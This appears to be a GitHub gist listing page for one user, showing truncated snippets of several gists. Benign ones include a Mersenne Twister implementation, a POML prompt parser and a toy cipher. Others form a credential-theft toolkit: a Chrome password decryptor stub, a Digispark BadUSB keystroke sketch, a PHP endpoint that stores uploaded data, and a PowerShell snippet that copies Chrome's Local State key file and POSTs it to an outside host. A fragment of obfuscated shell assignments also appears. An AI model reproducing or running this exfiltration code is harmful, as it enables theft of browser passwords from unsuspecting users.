Roby Firnando Yusuf (Aaron Wang) robyfirnandoyusuf

💼

I may be slow to respond.

Love Hate Relationship with Computers, Cyber Security Comedian. Ex-Senior Developer at {REDACTED}

robyfirnandoyusuf / MT19937.py

Created February 26, 2026 02:44

MT19937 decrypt

	import random

	# this is simply a python implementation of a standard Mersenne Twister PRNG.
	# the parameters used, implement the MT19937 variant of the PRNG, based on the
	# Mersenne prime 2^19937−1
	# see https://en.wikipedia.org/wiki/Mersenne_Twister for a very good explanation
	# of the math behind this...

	class mt19937():
	u, d = 11, 0xFFFFFFFF

robyfirnandoyusuf / example.poml

Created August 12, 2025 17:29

	<prompt>
	<system>Hello, you are a helpful assistant.</system>
	<user>Follow these instructions carefully:</user>
	<instructions>
	<step>Summarize the text.</step>
	<step>List the main points.</step>
	<step>Give a one-line conclusion.</step>
	</instructions>
	<document src="sample.txt" />
	</prompt>

robyfirnandoyusuf / parser.py

Created August 12, 2025 17:29

simple parser POML

	import xml.etree.ElementTree as ET

	def load_document(path):
	try:
	with open(path, 'r', encoding='utf-8') as f:
	return f.read()
	except FileNotFoundError:
	return f"[Document '{path}' not found]"

	def render_prompt(poml_path):

robyfirnandoyusuf / main.py

Created July 5, 2025 13:06

uuiiae cipher

	import streamlit as st

	# Mapping dari huruf ke cipher (hanya huruf kecil dan spasi)
	cipher_map = {
	'a': 'uu', 'b': 'ui', 'c': 'ua', 'd': 'ue', 'e': 'iu',
	'f': 'ii', 'g': 'ia', 'h': 'ie', 'i': 'au', 'j': 'ai',
	'k': 'aa', 'l': 'ae', 'm': 'eu', 'n': 'ei', 'o': 'ea',
	'p': 'ee', 'q': 'uuu', 'r': 'uui', 's': 'uua', 't': 'uue',
	'u': 'iuu', 'v': 'iui', 'w': 'iua', 'x': 'iue', 'y': 'aau',
	'z': 'aai', ' ': 'aaa'

robyfirnandoyusuf / decrypt.py

Created June 8, 2025 08:26

chrome password decryptor

	import ctypes
	import sys
	import time

	def is_admin():
	try:
	return ctypes.windll.shell32.IsUserAnAdmin() != 0
	except:
	return False

robyfirnandoyusuf / receiver digispark

Created May 29, 2025 17:10

receiver digispark

	<?php
	$profile = isset($_GET['name']) ? $_GET['name'] : 'unknown';
	$profile = preg_replace('/[^a-z0–9_\-]/', '', strtolower($profile));
	$filename = "logs/" . $profile . ".bin";
	if (!is_dir("logs")) {
	mkdir("logs", 0755, true);
	}
	file_put_contents($filename, file_get_contents('php://input'));
	http_response_code(200);
	echo "Saved as $filename";

robyfirnandoyusuf / digispark code

Created May 29, 2025 17:07

digispark code

	#include "DigiKeyboard.h"

	void setup() {

	}
	void loop() {
	DigiKeyboard.sendKeyStroke(0);
	DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
	DigiKeyboard.delay(500);
	DigiKeyboard.println("cmd");

robyfirnandoyusuf / gist:639a1425f017b5be7f8e32efbab8090d

Created May 29, 2025 17:05

exploit poweshell

	$profiles = Get-ChildItem "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data" \| Where-Object { $_.Name -like "Profile *" }

	$localStatePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Local State"
	$tmpLocalState = "$env:TEMP\local_state"

	Copy-Item -Path $localStatePath -Destination $tmpLocalState -ErrorAction SilentlyContinue

	if (Test-Path $tmpLocalState) {
	Invoke-WebRequest -Uri "https://website.hook?name=local_state" -Method Post -InFile $tmpLocalState -ContentType "application/octet-stream"
	Remove-Item $tmpLocalState -Force -ErrorAction SilentlyContinue

robyfirnandoyusuf / app.py

Created November 3, 2022 06:18

Inspect me pls

	import mimetypes
	from flask import Flask, render_template, request, Response, send_file, stream_with_context
	from random import randint
	import time

	# Flask constructor takes the name of
	# current module (__name__) as argument.
	app = Flask(__name__, template_folder='template')
	approvals = []

robyfirnandoyusuf / spam-halodoc.md

Last active March 9, 2022 16:40

+ z='
'
+ cABz='='\''MD'
+ qWBz=';hFz'
+ CXBz=''\''FDz'
+ gQz='z'\'';r'
+ qCz=''\''OIz'
+ svz=';coz'
+ JRBz=''\'';iP'